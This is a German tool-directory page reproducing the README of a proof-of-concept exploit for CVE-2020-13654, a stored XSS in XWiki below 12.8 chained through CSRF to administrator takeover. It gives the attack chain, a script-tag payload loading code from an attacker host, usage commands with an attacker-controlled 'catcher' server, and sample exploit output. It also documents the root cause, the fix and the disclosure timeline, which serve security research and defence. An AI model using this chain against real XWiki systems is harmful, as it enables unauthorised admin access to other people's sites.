Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-13654 — CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover | Kitploit
Tools/GitHubGitHub/astaruf/cve-2020-13654
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Privilege Escalation

Entdeckt und gemeldet von: Astaruf
Vollständiger Bericht: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


Schwachstelle

XWiki Platform vor Version 12.8 wendet keine HTML-Kodierung auf benutzergesteuerte Felder im Profileditor an. Das im Rahmen der Forschung bestätigte betroffene Feld ist "Firma" (unter Bearbeiten → Persönliche Informationen), aber andere Profilfelder teilen denselben Codepfad.

Wenn eine Profilseite gerendert wird, wird der gespeicherte Feldwert ohne Aufruf von $escapetool.xml() oder einer entsprechenden Maskierung direkt in das HTML ausgegeben. Ein Angreifer mit einem beliebigen authentifizierten Konto, einschließlich eines frisch selbstregistrierten, kann beliebiges HTML/JavaScript speichern, das bei jedem Besucher der Profilseite, einschließlich Administratoren, persistent im Browser ausgeführt wird.

Grundursache in der betroffenen Velocity-Vorlage:

root@kitploit:~
## Angreifbar (< 12.8): Wert direkt ins DOM geschrieben
$xwiki.getUserProperty($user, "company")

## Behoben (≥ 12.8): Wert vor Ausgabe HTML-kodiert
$escapetool.xml($xwiki.getUserProperty($user, "company"))
FeldWert
ProduktXWiki Platform
Betroffene Versionen< 12.8
Behoben in12.8
CVSSv3-Wertung

Angriffsszenario

Dieser PoC demonstriert eine Zero-Click-Privilege-Escalation-Kette:

root@kitploit:~
Niedrigprivilegiertes Angreiferkonto
        │
        ├─ speichert <script src="http://angreifer/payload.js"> im Feld "Firma"
        ▼
  XWiki-Profilseite (vergiftet)
        │
        ├─ Admin navigiert zur Seite (z. B. über Benutzerliste oder Support-Ticket)
        ▼
  Payload wird in der Admin-Browser-Sitzung ausgeführt
        │
        ├─ ruft /bin/view/XWiki/XWikiAdminGroup ab → extrahiert CSRF-Token
        ├─ sendet POST mit form_token + xpage=adduorg + name=angreifer → fügt Angreifer zu XWikiAdminGroup hinzu
        │
        ▼
  Angreifer hat nun vollen Admin-Zugriff

Es ist keine Admin-Interaktion über einen einzigen Seitenbesuch hinaus erforderlich.


PoC

poc.py ist ein eigenständiges Exploit-Skript. Es:

  1. Registriert optional ein neues niedrigprivilegiertes Konto über den offenen Registrierungsendpunkt von XWiki
  2. Authentifiziert das Angreiferkonto und injiziert die XSS-Payload in das Profilfeld Company, wobei alle anderen vorhandenen Feldwerte erhalten bleiben
  3. Überprüft, ob die Payload im Quelltext der gerenderten Seite vorhanden ist
  4. Startet einen integrierten HTTP-Server, der die eingebettete JavaScript-Payload (/payload.js) ausliefert und eingehende Beacons protokolliert
  5. Wartet darauf, dass ein Administrator die vergiftete Profil-URL besucht

Wenn der Admin die URL besucht, lädt das gespeicherte <script src="...">-Tag payload.js vom Server des Angreifers. Die Payload wird im authentifizierten Browser-Kontext des Admins ausgeführt, fügt das Angreiferkonto stillschweigend zu XWikiAdminGroup hinzu und sendet das Ergebnis als Beacon zurück.

Verwendung

root@kitploit:~
pip install -r requirements.txt

Mit Selbstregistrierung (kein vorhandenes Konto nötig):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ANGREIFER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

Mit einem vorhandenen niedrigprivilegierten Konto:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ANGREIFER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

Argumente

Erwartete Ausgabe

root@kitploit:~
[*] Registriere Konto 'hacker' ...
✅  Registrierung erfolgreich.
[*] Authentifiziere als 'hacker' ...
✅  Authentifiziert. Sitzung: {'JSESSIONID': 'ABC...'}
[*] Injiziere Payload in Profil von 'hacker' ...
✅  Payload gespeichert: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Überprüfe gespeicherte Payload ...
✅  Payload im Seitenquelltext bestätigt.

════════════════════════════════════════════════════════════
  EXPLOIT BEWAFFNET — WARTE AUF OPFER

  Teile diese URL mit (oder warte auf) einen Administrator:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  Bei Auslösung wird das Angreiferkonto 'hacker'
  stillschweigend zu XWikiAdminGroup hinzugefügt.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload wird im Browser des Opfers ausgeführt | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION ERFOLGREICH       | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

Behebung

Upgrade auf XWiki Platform ≥ 12.8.

Der Fix wendet $escapetool.xml() auf alle benutzergesteuerten Profilfelder an, bevor diese gerendert werden, und verhindert so die Injektion von rohem HTML/JavaScript.

Wenn ein sofortiges Upgrade nicht möglich ist, schränken Sie die Selbstregistrierung ein und begrenzen Sie die Profilsichtbarkeit auf vertrauenswürdige Benutzer über das Zugriffsrechtsmanagement von XWiki.


Zeitplan

DatumEreignis

Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

Haftungsausschluss

Dieses Repository wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt.
Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
Der Autor übernimmt keine Haftung für Missbrauch.

Tool herunterladen
7.5 (Hoch)
CWECWE-116 — Fehlerhafte Kodierung oder Maskierung von Ausgabe
ArgumentErforderlichBeschreibung
--target✅XWiki-Basis-URL
--catcher✅Vom Angreifer kontrollierte URL (zum Ausliefern von payload.js und Sammeln von Beacons)
--username✅Benutzername des Angreiferkontos
--password✅Passwort des Angreiferkontos
--register✗Konto vor dem Ausnutzen automatisch registrieren
--first-namefalls --registerVorname bei Registrierung
--last-namefalls --registerNachname bei Registrierung
--emailfalls --registerE-Mail bei Registrierung
Mai 2020Schwachstelle entdeckt
Mai 2020An das XWiki-Sicherheitsteam gemeldet
Jul 2020In XWiki Platform 12.8 behoben
Nov 2020CVE-2020-13654 von MITRE vergeben
30. Dez. 2020Öffentliche Offenlegung — nstsec.com